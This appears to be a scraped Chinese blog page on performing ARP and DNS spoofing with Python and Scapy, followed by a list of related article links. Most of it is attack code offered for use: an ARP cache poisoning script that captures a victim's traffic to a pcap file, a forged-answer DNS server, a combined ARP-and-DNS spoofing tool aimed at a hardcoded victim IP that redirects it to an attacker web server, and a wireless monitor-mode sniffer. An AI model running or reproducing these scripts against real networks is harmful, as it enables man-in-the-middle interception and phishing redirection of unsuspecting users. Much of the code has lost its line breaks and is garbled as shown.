利用Scapy进行ARP缓存投毒

from scapy.all import *
import os
import sys
import threading
import signaldef restore_target(gateway_ip,gateway_mac,target_ip,target_mac):#以下代码中调用send函数的方式稍有不同print "[*] Restoring target... "send(ARP(op=2,psrc=gateway_ip,pdst=target_ip,hwdst="ff:ff:ff:ff:ff:ff",hwsrc=gateway_mac),count=5)send(ARP(op=2,psrc=target_ip,pdst=gateway_ip,hwdst="ff:ff:ff:ff:ff:ff",hwsrc=target_mac),count=5)#发送退出信号到主线程os.kill(os.getpid(),signal.SIGINT)def get_mac(ip_address):responses,unanswered = srp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=ip_address),timeout=2,retry=10)#返回从响应数据中获取的Mac地址for s,r in responses:return r[Ether].srcreturn Nonedef poison_target(gateway_ip,gateway_mac,target_ip,target_mac):poison_target = ARP()poison_target.op = 2poison_target.psrc = gateway_ippoison_target.pdst = target_ippoison_target.hwdst = target_macpoison_gateway = ARP()poison_gateway.op = 2poison_gateway.psrc = target_ippoison_gateway.pdst = gateway_ippoison_gateway.hwdst = gateway_macprint("[*] Beginning the ARP poison. [CTRL-C to stop]")while True:try:send(poison_target)send(poison_gateway)time.sleep(2)except KeyboardInterrupt:restore_target(gateway_ip,gateway_mac,target_ip,target_mac)print "[*] ARP poison attack finished. "returninterface = "eth0"
target_ip = "10.10.10.134"    #被攻击主机
gateway_ip = "10.10.10.2"     #网关
packet_count = 1000        #攻击次数#设置嗅探的网卡
conf.iface = interface#关闭输出
conf.verb = 0print "[*] Setting up %s"%interface
gateway_mac = get_mac(gateway_ip)
if gateway_mac is None:print "[!!!] Failed to get gateway MAC.  Exiting. "sys.exit(0)
else:print "[*] Gateway %s is at %s"%(gateway_ip,gateway_mac)target_mac = get_mac(target_ip)if target_mac is None:print "[!!!] Failed to get target MAC.  Exiting. "sys.exit(0)
else:print "[*] Target %s is at %s"%(target_ip,target_mac)#启动ARP投毒攻击
poison_thread = threading.Thread(target=poison_target,args=(gateway_ip,gateway_mac,target_ip,target_mac))
poison_thread.start()try:print "[*] Starting sniffer for %d packets"%packet_countbpf_filter = "ip host %s"%target_ippackets = sniff(count=packet_count,filter=bpf_filter,iface=interface)#将捕获到的数据包输出到文件wrpcap('arper.pcap',packets)#还原网络配置restore_target(gateway_ip,gateway_mac,target_ip,target_mac)
except KeyboardInterrupt:#还原网络配置restore_target(gateway_ip,gateway_mac,target_ip,target_mac)sys.exit(0)

Python DNS 服务器实现

import socketserver,structclass SinDNSQuery:def __init__(self, data):i = 1self.name = ''while True:d = data[i]if d == 0:break;if d < 32:self.name = self.name + '.'else:self.name = self.name + chr(d)i = i + 1self.querybytes = data[0:i + 1](self.type, self.classify) = struct.unpack('>HH', data[i + 1:i + 5])self.len = i + 5def getbytes(self):return self.querybytes + struct.pack('>HH', self.type, self.classify)class SinDNSAnswer:def __init__(self, ip):self.name = 49164self.type = 1self.classify = 1self.timetolive = 190self.datalength = 4self.ip = ipdef getbytes(self):res = struct.pack('>HHHLH', self.name, self.type, self.classify, self.timetolive, self.datalength)s = self.ip.split('.')res = res + struct.pack('BBBB', int(s[0]), int(s[1]), int(s[2]), int(s[3]))return resclass SinDNSFrame:def __init__(self, data):(self.id, self.flags, self.quests, self.answers, self.author, self.addition) = struct.unpack('>HHHHHH', data[0:12])self.query = SinDNSQuery(data[12:])def getname(self):return self.query.namedef setip(self, ip):self.answer = SinDNSAnswer(ip)self.answers = 1self.flags = 33152def getbytes(self):res = struct.pack('>HHHHHH', self.id, self.flags, self.quests, self.answers, self.author, self.addition)res = res + self.query.getbytes()if self.answers != 0:res = res + self.answer.getbytes()return resclass SinDNSUDPHandler(socketserver.BaseRequestHandler):def handle(self):data = self.request[0].strip()dns = SinDNSFrame(data)socket = self.request[1]namemap = SinDNSServer.namemapif(dns.query.type==1):name = dns.getname();if namemap.__contains__(name):dns.setip(namemap[name])socket.sendto(dns.getbytes(), self.client_address)elif namemap.__contains__('*'):dns.setip(namemap['*'])socket.sendto(dns.getbytes(), self.client_address)else:socket.sendto(data, self.client_address)else:socket.sendto(data, self.client_address)print(self.client_address)class SinDNSServer:def __init__(self, port=53):SinDNSServer.namemap = {}self.port = portdef addname(self, name, ip):SinDNSServer.namemap[name] = ipdef start(self):HOST, PORT = "0.0.0.0", self.portserver = socketserver.UDPServer((HOST, PORT), SinDNSUDPHandler)server.serve_forever()if __name__ == "__main__":server = SinDNSServer()server.addname('www.lyshark.com', '192.168.1.20')server.addname('*', '192.168.1.20')server.start()

DNS欺骗之欺骗代码

import sys
import os
import threading
from scapy.all import *
from optparse import  OptionParser#DNS欺骗函数
def DNS_Spoof(data):if data.haslayer(DNS):try:#构造DNS AN数据dns_an=DNSRR(rrname=data[DNS].qd.qname,rdata=jokers)#构造IP/UDP数据包repdata=IP(src=data[IP].dst,dst=data[IP].src)/UDP(dport=data[IP].sport,sport=53)#构造DNS数据包repdata/=DNS(id=data[DNS].id,qd=data[DNS].qd,qr=1,an=dns_an)#攻击信息输出print ('\nhancker ip :' + jokers + " url : "+data[DNS].qd.qname)#发送数据包send(repdata)except Exception:sys.exit(1)#DNS欺骗函数
def DNS_S(dns_ip,iface):global jokersjokers=dns_ipprint ("DNS欺骗开始!")sniff(prn=DNS_Spoof,filter='udp dst port 53',iface=iface)#ARP欺骗函数
def op(eths,mubiao_ip,gateway_ip):ip=mubiao_ipwifi=gateway_ip#目标设备MAC地址dst_Mac=str(getmacbyip(ip))#黑客设备mac地址self_Mac=str(get_if_hwaddr(eths))#网关MAC地址wifi_Mac=str(getmacbyip(wifi))#构造以太帧数据Ether_data=Ether(src=self_Mac,dst=dst_Mac)/ARP(op=2,hwsrc=self_Mac,psrc=wifi,hwdst=dst_Mac,pdst=ip)try:#发送以太帧数据,sendp发送OSI模型中的二层数据sendp(Ether_data,inter=2,iface=eths,loop=1)except Exception as e:print("目标ARP数据发送失败!")def wifi(eths,mubiao_ip,gateway_ip,dns_ip):ip=gateway_ipdst=mubiao_ipet = eths#根据IP获取MACdst_Mac = getmacbyip(ip)#根据网卡获取MACself_Mac = get_if_hwaddr(et)Ether_data = None#构造以太帧数据与ARP响应数据,ARP协议源地址给一个不存在的MAC地址与正确的IP地址对应,实现双向的无法解析,ARP协议的op参数是状态,2为响应数据,1为请求数据Ether_data = Ether(src=self_Mac, dst=dst_Mac) / ARP(op=2, hwsrc='12:1a:13:a3:13:ef', psrc=dst, hwdst=dst_Mac, pdst=ip)#新线程,开始DNS欺骗t3 = threading.Thread(target=DNS_S, args=(dns_ip,eths))t3.setDaemon(True)t3.start()try:sendp(Ether_data, inter=2,iface=et,loop=1)except Exception as e:print("网关ARP数据发送失败!")def main():try:eth= "Realtek PCIe GBE Family Controller"      # 网卡名称mubiao="192.168.1.8"                           # 被害主机gateway="192.168.1.1"                          # 网关 dip="192.168.1.20"                             # apache服务器地址t1=threading.Thread(target=op,args=(eth,mubiao,gateway))t1.setDaemon(True)t1.start()t2=threading.Thread(target=wifi,args=(eth,mubiao,gateway,dip))t2.setDaemon(True)t2.start()except Exception as e:print (e)sys.exit(1)while True:passif __name__ == '__main__':main()

关于无线网嗅探

#coding=utf-8import os
import sys
import subprocess
from scapy.all import *RSN = 48    #管理帧信息元素(Dot11Elt)ID48是RSN信息
WPA = 221   #管理帧信息元素ID221是WPA信息
Dot11i = {0:'GroupCipher',1:'WEP-40',2:'TKIP',4:'CCMP',5:'WEP-104'} #RSN信息的第6字节
WPA_Auth = {1:'802.11x/PMK',2:'PSK'} #RSN信息的第22字节
DN = open(os.devnull,'w')def get_wlan_interfaces():'''返回当前PC上所有的无线网卡以及网卡所处的模式'''interfaces = {'monitor':[],'managed':[],'all':[]}proc = subprocess.Popen(['iwconfig'],stdout=subprocess.PIPE,stderr=DN)lines = proc.communicate()[0].split('\n')for line in lines:if line:if line[0] != ' ':iface = line.split(' ')[0]if 'Mode:Monitor' in line:interfaces['monitor'].append(iface)if 'IEEE 802.11' in line:interfaces['managed'].append(iface)interfaces['all'].append(iface)if len(interfaces['managed']) == 0:sys.exit('[!]没有无线网卡,请插入网卡')return interfacesinterfaces = get_wlan_interfaces()  #获取当前的无线网卡def get_strongest_inface():'''通过iwlist dev scan命令,根据无线网卡可获取到的AP数量来判断哪个网卡的功率最强'''iface_APs = []#interfaces = get_wlan_interfaces()for iface in interfaces['managed']:count = 0if iface:proc = subprocess.Popen(['iwlist',iface,'scan'],stdout=subprocess.PIPE,stderr=DN)lines = proc.communicate()[0].split('\n')for line in lines:if line:if '- Address:' in line:count += 1iface_APs.append((count,iface))interface = max(iface_APs)[1]return interfacedef start_monitor_mode():'''通过airmon-ng工具将无线网卡启动为监听状态'''if interfaces['monitor']:print '[*]监听网卡为:%s' % interfaces['monitor'][0]return interfaces['monitor'][0]interface = get_strongest_inface()print '[*]网卡%s开启监听模式...' % interfacetry:os.system('/usr/sbin/airmon-ng start %s' % interface)moni_inface = get_wlan_interfaces()['monitor']print '[*]监听网卡为:%s' % moni_inface[0]return moni_infaceexcept:sys.exit('[!]无法开启监听模式')def get_AP_info(pkt):'''从Dot11数据包中获取AP的SSID,BSSID,chanle,加密等信息'''AP_info = {}bssid = pkt[Dot11][Dot11Elt].infossid = pkt[Dot11].addr2chanle = str(ord(pkt[Dot11][Dot11Elt][:3].info))AP_infos = [bssid,chanle]wpa_info,cipher_info = get_Dot11_RSN(pkt)if wpa_info and cipher_info:AP_infos = AP_infos + [wpa_info,cipher_info]AP_info[ssid]=AP_infos  return AP_infoAPs_info = {}
def get_APs_info(pkt):global APs_infoif pkt.haslayer(Dot11) and (pkt.haslayer(Dot11Beacon) or pkt.haslayer(Dot11ProbeResp)):AP_info = get_AP_info(pkt)if not APs_info.has_key(AP_info.keys()[0]):APs_info.update(AP_info)   return APs_infoalready_shows = []
def show_APs_info(pkt):global already_showsAPs_info = get_APs_info(pkt)for (key,value) in APs_info.items():if key not in already_shows:already_shows.append(key)print '-' * 40print ' [+]AP的BSSID:%s' % value[0]print ' [+]AP的SSID:%s' % keyprint ' [+]AP当前的chanle:%s' % value[1]if len(value) == 4:print ' [+]AP的认证方式为:%s' % value[2]print ' [+]AP的加密算法为:%s' % value[3]else:print ' [+]开放验证!!'print '-' * 40def get_Dot11_RSN(pkt):'''从Beacon帧以及ProbeResponse帧获取cipher及auth信息'''ssid = pkt[Dot11].addr2len_Elt = len(pkt[Dot11Elt].summary().split('/'))#print pkt.show()for i in range(len_Elt):if pkt[Dot11Elt][i].ID == RSN:try:RSN_info = hexstr(pkt[Dot11Elt][i].info)cipher_index = RSN_info.find('ac') #第一个00 0f ac 02中的‘02’代表cipherauth_index = RSN_info.rfind('ac')   #从后往前数第一个00 0f ac 02中的‘02’代表AUTHcipher_num = int(RSN_info[(cipher_index + 3):(cipher_index + 5)])auth_num = int(RSN_info[(auth_index + 3):(auth_index + 5)])for key,value in Dot11i.items():if cipher_num == key:cipher_info = valuefor key,value in WPA_Auth.items():if auth_num == key:wpa_info = value#print wpa_info,cipher_info return wpa_info,cipher_infoexcept:passreturn None,Nonedef sniffering(interface,action):'''嗅探5000个数据包'''print '[*]附近AP信息如下:'sniff(iface=interface,prn=action,count=5000,store=0)def main():moni_inface = start_monitor_mode()sniffering(moni_inface, show_APs_info)if __name__ == '__main__':main()

Python 实现ARP与DNS欺骗相关推荐

  1. 2.9 ARP和DNS欺骗

    1.预备知识:ARP和DNS欺骗原理 1.1ARP欺骗 ARP(Address Resolution Protocol,地址解析协议)涉及TCP\IP体系结构中网络层的IP地址和数据链路层的MAC地址 ...

  2. 初探 Ettercap: ARP投毒 DNS欺骗

    笔记一:ettercap是什么? 我们在对WEB安全检测的时候都会用到Cain和netfuke这两款工具,功能相信用过的朋友多多少少都知道,但这两款工具是在windows下运行的. 而ettercap ...

  3. ARP和DNS欺骗以及网站钓鱼分析

    实验目的 1.掌握ARP中间人攻击原理 2.掌握DNS欺骗原理 3.熟悉网站钓鱼的原理. 实验环境 VMware15.0.windows客户端.windows server2008.kali linu ...

  4. 网络攻防实验:ARP和DNS欺骗攻击

    一.实验目的 通过本实验,读者重点掌握以下知识: (1) 常见的ARP欺骗和DNS欺骗原理及实现过程. (2) 结合具体应用,分析ARP欺骗和DNS欺骗产生的原因. (3) ARP欺骗和DNS欺骗的防 ...

  5. Python 实现ARP扫描与欺骗

    ARP欺骗又称ARP毒化或ARP攻击,是针对以太网地址解析协议ARP的一种攻击技术,通过欺骗局域网内访问者PC的网关MAC地址,使访问者PC错以为攻击者更改后的MAC地址是网关的MAC,导致网络不通. ...

  6. 黑客攻击入门:DNS欺骗、ARP攻击和钓鱼网站制作

    数据来源         本文仅用于信息安全的学习,请遵守相关法律法规,严禁用于非法途径.若观众因此作出任何危害网络安全的行为,后果自负,与本人无关.   一.背景 钓鱼者运用社会工程学( socia ...

  7. ARP攻击dns攻击

    目录 局域网通信原理 ARP断网攻击 ARP毒化 DNS欺骗 局域网通信原理 ARP断网攻击 NAT模式 (保证有网) 1下载安装包 安装成功后 输入arpspoof变为绿色 2被攻击PC 此时Win ...

  8. python scapy实现ARP欺骗与DNS欺骗

    (仅限python2.7.15) 关于ARP ARP协议(地址解析协议),是一个能够将IP地址转换为MAC地址来让设备间通讯的协议,由于设备间进行网络通讯时,需要将网络层IP数据包包头中的IP地址信息 ...

  9. python脚本实现~DNS欺骗攻击

    DNS     DNS即域名系统(英文:Domain Name System,缩写:DNS)是互联网的一项服务.它作为将域名和IP地址相互映射的一个分布式数据库,能够使人更方便地访问互联网.DNS使用 ...

最新文章

  1. 阿里巴巴为什么不建议直接使用 Async 注解?
  2. SAP RETAIL 为门店维护多个存储地点
  3. VS直接调试可执行文件main函数.exe输入参数argc(项目--> 属性--> 调试--> 命令参数)
  4. java 进程描述_java 进程和线程
  5. 自我小结--工作、学习、编码
  6. MonoBehaviour.FixedUpdate 固定更新
  7. 数据库高级知识——MySql锁机制
  8. python怎样查看describe的结果_Python学习第126课--pandas拿到数据后的总体描述
  9. ES6高频面试题目整理
  10. linux 信号集 同步,linux信号集
  11. eclipse导入jsp项目
  12. 达梦数据库(DM7) 常用运维语句
  13. 巴特沃斯滤波器 python代码
  14. Firefly+AS3回合RPG网页游戏源码《烽烟OL》v1.6正式推出
  15. Flink(三十七)—— Flink 清理过期 Checkpoint 目录的正确姿势
  16. python如何求每一行的均值_计算每X行数的平均值
  17. NETCONF配置CISCO XE(csr1000v)初体验
  18. 用 Python 写个俄罗斯方块小游戏
  19. 【Hive】报错Container is running beyond physical memory limits.4.0 GB of 4 GB physical memory used
  20. 将音频翻译成文字的软件叫什么?这几个软件值得你一试

热门文章

  1. 申请【华为·云享专家】流程
  2. android 自定义canvas,android随笔之自定义View的Canvas用法
  3. 让cygwin方便安装软件 apt-cyg
  4. Fiddler配置及使用教程
  5. Queue、Deque、LinkedList学习
  6. 基础的图书馆管理系统
  7. 计算机网络命令dos命令大全,DOS命令大全:Ipconfig命令详解 – itShouce
  8. Linux基础用法(超全面,超详细,收藏这一篇就够了)
  9. 高校计算机教师个人总结,大学教师个人总结与自我评价
  10. 深度学习之图像分类(六)--Inception进化史